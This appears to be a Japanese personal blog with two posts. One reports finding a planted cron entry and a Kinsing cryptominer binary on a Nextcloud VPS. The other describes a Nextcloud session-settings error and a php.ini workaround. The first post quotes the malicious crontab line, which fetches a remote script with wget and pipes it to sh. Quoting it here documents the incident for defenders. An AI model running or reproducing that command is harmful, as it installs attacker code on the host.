To content | To menu | To search

Friday, July 23 2021

Nextcloud を走らせているサーバーにスクリプトが仕込まれそうになっていた

Nextcloud を走らせている VPS の cron に勝手に1行追加されていた。偶然 www アカウントの crontab をみたら、次のような行が追加されていて、覚えが無い。

* * * * * wget -q -O - http://XXX.XXX.XXX.XXX/p.sh | sh > /dev/null 2>&1

abuseipdb.com によると Latvia の IP アドレスで、44回報告されている。どうやら仮想通貨のマイニングを行う kdevtmpfsi を実行させようとしているらしい。幸い wget が入っていなかったので動かなかったはず。

せめて日付を確認しておくべきだった。別の用事もあって先に書き換えてしまったのでもうわからない。

他の VPS や仮想環境には、少なくとも同じような crontab を使ったものは仕込まれていなかった。


もう少し調べたら、/tmp に実行ファイルが居た。

-rwxrwxrwx   1 www   wheel  14643200 Dec 18  2020 kinsing*

file コマンドの結果は以下の通り

$ file /tmp/kinsing
/tmp/kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped

Monday, November 16 2020

Nextcloud で You cannot change the session module's ini settings

Nextcloud でログイン時にエラー。

ログをみたら、

ini_set(): Headers already sent. You cannot change the session module's ini settings at this time at /usr/local/www/nextcloud20/lib/base.php#410

というもの。

Nextcloud のバージョンは 20.0.1 。PHP は 7.4.12 。OS は FreeBSD 12.1-RELEASE-p10。Web サーバーは 1.18.0 。SSL で運用。

Workaround としてとりあえず、php.ini で以下を設定。

session.cookie_secure = true

そして問題の起きた行をコメントアウト。

if (self::$server->getRequest()->getServerProtocol() === 'https') {
    //ini_set('session.cookie_secure', true);
}

2020 Nov 18 追記

ini_set('session.cookie_httponly', 'true'); でも起きた。

2020 Nov 25 追記

Nextcloud 20.0.2 でも起きた。